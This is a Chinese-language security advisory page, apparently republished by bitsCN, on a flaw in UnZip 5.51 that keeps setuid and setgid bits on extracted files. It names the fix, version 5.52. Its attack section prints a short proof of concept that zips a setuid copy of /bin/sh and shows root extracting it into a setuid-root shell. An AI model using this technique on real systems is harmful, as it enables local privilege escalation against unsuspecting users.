网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > mUnix > Unix Unzip保留解压文件setuid和setgid属性漏洞  

Unix Unzip保留解压文件setuid和setgid属性漏洞

2005-06-29  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

涉及程序:
Unix程序
 
描述:
Unix Unzip保留解压文件setuid和setgid属性漏洞
 
详细:
unzip是一款对.zip文件格式进行解压的Unix下的工具。

unzip在解压的时候没有正确检查文件属性,本地攻击者可以利用这个漏洞构建恶意文件放置到系统上。

unzip在解压的时候仍旧保持原来的文件权限,并没有任何错误提示,因此攻击者可以构建一个恶意ZIP文件,诱使用户打开,在系统上建立恶意特权文件。

<*来源:Albert Puigsech Galicia (ripe@7a69ezine.org)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110960796331943&w=2
*>

受影响系统:
UnZip UnZip 5.51

不受影响系统:
UnZip UnZip 5.52
 
 
攻击方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

可以创建一个恶意ZIP文件,如下:

$ cp /bin/sh .
$ chmod 4777 sh
$ zip malicious.zip sh


如果其他用户(包括root)打开了该文件,就会不经警告便创建setuid shell文件,如下:

# id
# unzip malicious.zip
中国网管论坛bbs.bitsCN.com

Archive: malicious.zip
inflating: sh
# ls -l sh
-rwsrwxrwx 1 root root 705148 Jan 16 17:04 sh
 
 
解决方案:
厂商补丁:

UnZip
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载unzip 5.52:

http://www.info-zip.org/pub/infozip/UnZip.html
 

TAGs属性   漏洞   保留   恶意   解压   系统   程序   unzip    
 上一篇:SGI IRIX gr_osview本地信息泄露漏洞   下一篇:HP Tru64 UNIX Java (TM)远程拒绝服务漏洞
Unix Unzip保留解压文件setuid和setgid属性漏洞 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: